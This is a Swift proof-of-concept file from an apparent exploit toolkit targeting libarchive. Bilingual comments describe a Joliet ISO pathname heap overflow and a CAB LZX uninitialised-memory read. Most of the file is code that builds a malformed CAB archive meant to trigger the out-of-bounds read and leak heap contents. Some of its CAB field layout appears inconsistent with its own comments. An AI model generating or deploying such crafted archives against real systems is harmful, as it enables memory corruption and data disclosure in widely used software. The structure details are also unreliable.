Files

136 lines
7.0 KiB
Swift
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] ISO9660 Joliet 路径名堆溢出
// build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024
// 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。
//
// [en] ISO9660 Joliet pathname heap overflow
// After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte
// UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain
// sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024)
// buffer, and 0x002F overwrites the adjacent heap chunk header.
// ── 判别 / oracle ──
// 目录链长度 4×206 + 192 + 4×2 = 1024,与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现,硬件断点命中于 \"Pathname is too
// long\" 之前的写指令。
// 变体 arc.iso.stress: Joliet 路径长度循环
// 变体 arc.cab: CAB LZX 历史未初始化即取匹配
//
// 种子构建器(python,可直接运行): CVE-2026-112522/CVE-2026-112522.py
// runnable python seed builder: CVE-2026-112522/CVE-2026-112522.py
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// arc.iso.stress · libarchive · build_pathname_utf16be · CVE-2026-112522
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] Joliet 路径长度循环
// 对同一 ISO 反复遍历,使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收,重复执行才可能将损坏推移到可见位置。
//
// [en] Joliet path length loop
// The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves
// with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition
// is what pushes the damage into a visible position.
*/
/*
// arc.cab · libarchive · lzx_decode_blocks · CVE-2026-112522
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] CAB LZX 历史未初始化即取匹配
// LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时,copy_pos 指向未初始化区域,复制所得即为残留堆内容。
// 27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。
//
// [en] CAB LZX match against uninitialised history
// LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop.
// While the window has not yet been written, copy_pos points into uninitialised memory and the copied
// bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (CABPayload) ──
enum CABPayload {
static func lzxEarlyMatch() -> Data {
var out = Data()
let cfdataPayload: [UInt8] = [
// CFDATA header is written separately below; this is the LZX block itself.
0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes
0x1E, // main tree: single match-ish symbol stream
0x00, 0x00, // length footer
0x00, 0x00, 0x00, 0x00, // offset
]
var cfdata = Data()
cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked)
cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count)))
cfdata.append(contentsOf: B.le16(0)) // reserved
cfdata.append(contentsOf: cfdataPayload)
var file = Data()
file.append(contentsOf: B.ascii("Cinder"))
file.append(contentsOf: B.le32(0)) // size
file.append(contentsOf: B.le32(0)) // offset in folder
file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive
file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time
file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA"
file.append(0)
let headerSize = 36
let folderSize = 8
let fileSize = file.count
let dataSize = cfdata.count
let total = headerSize + folderSize + fileSize + dataSize
out.append(contentsOf: B.ascii("MSCF"))
out.append(contentsOf: B.le32(0)) // reserved1
out.append(contentsOf: B.le32(UInt32(total))) // cabinet size
out.append(contentsOf: B.le32(0)) // reserved2
out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset
out.append(contentsOf: B.le32(0)) // reserved3
out.append(contentsOf: [3, 1]) // version minor, major
out.append(contentsOf: B.le16(1)) // folder count
out.append(contentsOf: B.le16(1)) // file count
out.append(contentsOf: B.le16(0)) // flags
out.append(contentsOf: B.le16(0x1234)) // set id
out.append(contentsOf: B.le16(0)) // cabinet index
// CFFOLDER
out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset
out.append(contentsOf: B.le16(1)) // data block count
out.append(contentsOf: B.le16(3)) // compression type 3 = LZX
out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB)
out.append(contentsOf: file)
out.append(contentsOf: cfdata)
return out
}
}